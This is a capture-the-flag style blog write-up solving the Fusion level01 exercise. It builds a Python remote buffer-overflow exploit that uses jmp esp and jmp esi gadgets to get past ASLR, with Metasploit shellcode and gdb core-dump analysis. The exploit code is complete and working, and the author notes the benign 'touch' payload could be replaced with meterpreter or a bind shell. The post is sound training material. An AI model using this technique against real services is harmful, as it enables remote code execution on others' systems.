It’s been a while since I last did a write-up about Exploit Exercises. I’m starting to look back at it now, since I have some more free time again. I’ve now, as I’m sure you can guess by the title of this post, solved level 01.
So this level is very similar to the first, except that it has ASLR and doesn’t tell us where the buffer is on every execution. Even if it did tell us, due to the ASLR, it very well may change every time it’s executed. Based on this information, I went down the road of using a ret2reg method.
So let’s start with the code we used on level 00, but change the comments and port numbers to be more appropriate:
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com
from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *
def exploit(hostname, port):
junk = "A"*139
ret = pack("<I", 0xbffff999)
nops = "\x90"*100
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"
s = socket(AF_INET, SOCK_STREAM)
try:
print "[*] Connecting to %s on port %s" % (hostname, port)
s.connect((hostname, port))
except:
print "[*] Connection error"
exit(1)
print s.recv(1024)
s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
type="string", help="Target to run against")
parser.add_option("-p", "--port", dest="portnum", default=20001,
type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
Now to start out, let’s generate some new shellcode, to touch a file in /tmp:
fusion@fusion:/opt/metasploit-framework$ ./msfpayload linux/x86/exec CMD="touch /tmp/level01" C
/*
* linux/x86/exec - 54 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false, CMD=touch
* /tmp/level01
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80";
Now to debug, let’s change the return address to 0xDEADBEEF to generate an error, since we no longer know where the buffer will be. I also removed the “/” after the “GET”, as well as the “\n” after the “HTTP/1.1” since they’re really just junk getting in the way. Additionally, since the buffer isn’t being printed to the screen, the “recv(1024)” code needed to be removed so the program didn’t wait for it.
Now, our codebase looks like this:
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com
from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *
def exploit(hostname, port):
junk = "A"*139
ret = pack("<I", 0xDEADBEEF)
nops = "\x90"*100
shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")
s = socket(AF_INET, SOCK_STREAM)
try:
print "[*] Connecting to %s on port %s" % (hostname, port)
s.connect((hostname, port))
except:
print "[*] Connection error"
exit(1)
s.send("GET " + junk + ret + " HTTP/1.1" + nops + shellcode)
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
type="string", help="Target to run against")
parser.add_option("-p", "--port", dest="portnum", default=20001,
type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
As expected, when it was ran, it crashed, and dumped a core.
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-11-20001-20001-2222-1341317061
So I loaded it into gdb to look at the dump.
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-11-20001-20001-2222-1341317061
[New LWP 2222]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb) i r
eax 0x1 1
ecx 0xb772d8d0 -1217210160
edx 0xbfa65d90 -1079616112
ebx 0xb78a5ff4 -1215668236
esp 0xbfa65d90 0xbfa65d90
ebp 0x41414141 0x41414141
esi 0xbfa65e44 -1079615932
edi 0x8049ed1 134520529
eip 0xdeadbeef 0xdeadbeef
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Initially, this shows that our return address did get hit successfully, since “0xdeadbeef” is the overwritten EIP. I then started exploring each of the registers to see if there was anything of interest. I found that my shellcode was actually being stored in the esi register, or at least the start of the nop-sled was:
(gdb) x/10x $esi
0xbfa65e44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfa65e54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfa65e64: 0x90909090 0x90909090
I immediately thought this was going to be the end of the challenge, since I could just ‘jmp esi’. However, when looking for that opcode, I couldn’t find it:
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esi /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
Trying to find another way, I looked at the stack pointer, with a little extra surrounding it to see what’s on each side:
(gdb) x/16x $esp-16
0xbfa65d80: 0x41414141 0x41414141 0x41414141 0xdeadbeef
0xbfa65d90: 0xbfa65d00 0x00000020 0x00000004 0x00000000
0xbfa65da0: 0x001761e4 0xbfa65e30 0x20544547 0x41414141
0xbfa65db0: 0x41414141 0x41414141 0x41414141 0x41414141
So if our stack pointer is at 0xbfa65d90, the byte right after our return (0xdeadbeef), then we could return to the esp, and then redirect to the esi! Let’s test this by changing the return address to a ‘jmp esp’, and making the next byte a debug opcode to halt the program.
Luckily this time we have a valid address for our register:
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp
So now our code looks like this:
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com
from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *
def exploit(hostname, port):
junk = "A"*139
ret = pack("<I", 0x08049f4f)
esi = "\xCC"
nops = "\x90"*100
shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")
s = socket(AF_INET, SOCK_STREAM)
try:
print "[*] Connecting to %s on port %s" % (hostname, port)
s.connect((hostname, port))
except:
print "[*] Connection error"
exit(1)
s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
type="string", help="Target to run against")
parser.add_option("-p", "--port", dest="portnum", default=20001,
type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
Once it’s executed, I load it into gdb again to poke around.
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-5-20001-20001-2353-1341318366
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-5-20001-20001-2353-1341318366
[New LWP 2353]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0 0xbfa65d91 in ?? ()
(gdb) x/16x $esp-16
0xbfa65d80: 0x41414141 0x41414141 0x41414141 0x08049f4f
0xbfa65d90: 0xbfa600cc 0x00000020 0x00000004 0x00000000
0xbfa65da0: 0x001761e4 0xbfa65e30 0x20544547 0x41414141
0xbfa65db0: 0x41414141 0x41414141 0x41414141 0x41414141
Well it looks like it hit our debug point. Let’s try replacing the “\xCC” with the opcodes for “jmp esi”. But first we have to find what that opcode actually is. I found a decent enough method for now on stackoverflow, which I modified a little for my needs. I’d like to find something better for the future though.
fusion@fusion:~$ echo -e "BITS 32\njmp esi" > tmp.S && nasm tmp.S -o tmp.o && ndisasm -b 32 tmp.o && rm -f tmp.o tmp.S
00000000 FFE6 jmp esi
Since this is a 2 byte instruction, we will need to pad the end of it to 4 bytes, to align it properly. I simply used “\x90” nops to do so, giving us the value “0x9090E6FF”.
That leaves us with the final code:
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com
from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *
def exploit(hostname, port):
junk = "A"*139
ret = pack("<I", 0x08049f4f)
esi = pack("<I", 0x9090E6FF)
nops = "\x90"*100
shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")
s = socket(AF_INET, SOCK_STREAM)
try:
print "[*] Connecting to %s on port %s" % (hostname, port)
s.connect((hostname, port))
except:
print "[*] Connection error"
exit(1)
s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
type="string", help="Target to run against")
parser.add_option("-p", "--port", dest="portnum", default=20001,
type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
Now if we execute our exploit, it works just fine, bypassing ASLR and everything.
fusion@fusion:~$ ls -al /tmp
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls -al /tmp
total 8
drwxrwxrwt 2 root root 4096 2012-07-03 23:32 .
drwxr-xr-x 22 root root 4096 2012-05-07 21:53 ..
-rw-r--r-- 1 20001 20001 0 2012-07-03 23:32 level01
There you have it. Our shellcode to “touch /tmp/level01” executed as the uid 20001. That shellcode could then be replaced with something more malicious (read: meterpreter/bindshell) if desired. But for PoC, that works.